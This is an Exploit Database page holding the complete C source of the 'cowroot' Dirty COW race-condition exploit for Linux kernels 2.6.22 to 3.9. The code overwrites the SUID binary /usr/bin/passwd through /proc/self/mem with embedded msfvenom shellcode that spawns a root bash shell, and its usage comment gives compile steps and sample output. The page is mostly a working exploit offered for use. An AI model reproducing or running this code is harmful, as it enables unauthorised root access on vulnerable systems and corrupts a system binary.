Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method)

• Exploit Database
• 39 阅读

• 作者： Robin Verton
  日期： 2016-10-21
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/40616/

• /*
  *
  * EDB-Note: After getting a shell, doing "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable.
  *
  * (un)comment correct payload first (x86 or x64)!
  * 
  * $ gcc cowroot.c -o cowroot -pthread
  * $ ./cowroot
  * DirtyCow root privilege escalation
  * Backing up /usr/bin/passwd.. to /tmp/bak
  * Size of binary: 57048
  * Racing, this may take a while..
  * /usr/bin/passwd is overwritten
  * Popping root shell.
  * Don't forget to restore /tmp/bak
  * thread stopped
  * thread stopped
  * root@box:/root/cow# id
  * uid=0(root) gid=1000(foo) groups=1000(foo)
  */
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <sys/mman.h>
  #include <fcntl.h>
  #include <pthread.h>
  #include <string.h>
  #include <unistd.h>
  
  void *map;
  int f;
  int stop = 0;
  struct stat st;
  char *name;
  pthread_t pth1,pth2,pth3;
  
  // change if no permissions to read
  char suid_binary[] = "/usr/bin/passwd";
  
  /*
  * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
  */ 
  unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
  };
  unsigned int sc_len = 177;
  
  /*
  * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
  unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  0x89, 0xe1, 0xcd, 0x80
  };
  unsigned int sc_len = 136;
  */
  
  void *madviseThread(void *arg)
  {
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<1000000 && !stop;i++) {
  c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("thread stopped\n");
  }
  
  void *procselfmemThread(void *arg)
  {
  char *str;
  str=(char*)arg;
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<1000000 && !stop;i++) {
  lseek(f,map,SEEK_SET);
  c+=write(f, str, sc_len);
  }
  printf("thread stopped\n");
  }
  
  void *waitForWrite(void *arg) {
  char buf[sc_len];
  
  for(;;) {
  FILE *fp = fopen(suid_binary, "rb");
  
  fread(buf, sc_len, 1, fp);
  
  if(memcmp(buf, sc, sc_len) == 0) {
  printf("%s is overwritten\n", suid_binary);
  break;
  }
  
  fclose(fp);
  sleep(1);
  }
  
  stop = 1;
  
  printf("Popping root shell.\n");
  printf("Don't forget to restore /tmp/bak\n");
  
  system(suid_binary);
  }
  
  int main(int argc,char *argv[]) {
  char *backup;
  
  printf("DirtyCow root privilege escalation\n");
  printf("Backing up %s.. to /tmp/bak\n", suid_binary);
  
  asprintf(&backup, "cp %s /tmp/bak", suid_binary);
  system(backup);
  
  f = open(suid_binary,O_RDONLY);
  fstat(f,&st);
  
  printf("Size of binary: %d\n", st.st_size);
  
  char payload[st.st_size];
  memset(payload, 0x90, st.st_size);
  memcpy(payload, sc, sc_len+1);
  
  map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  
  printf("Racing, this may take a while..\n");
  
  pthread_create(&pth1, NULL, &madviseThread, suid_binary);
  pthread_create(&pth2, NULL, &procselfmemThread, payload);
  pthread_create(&pth3, NULL, &waitForWrite, NULL);
  
  pthread_join(pth3, NULL);
  
  return 0;
  }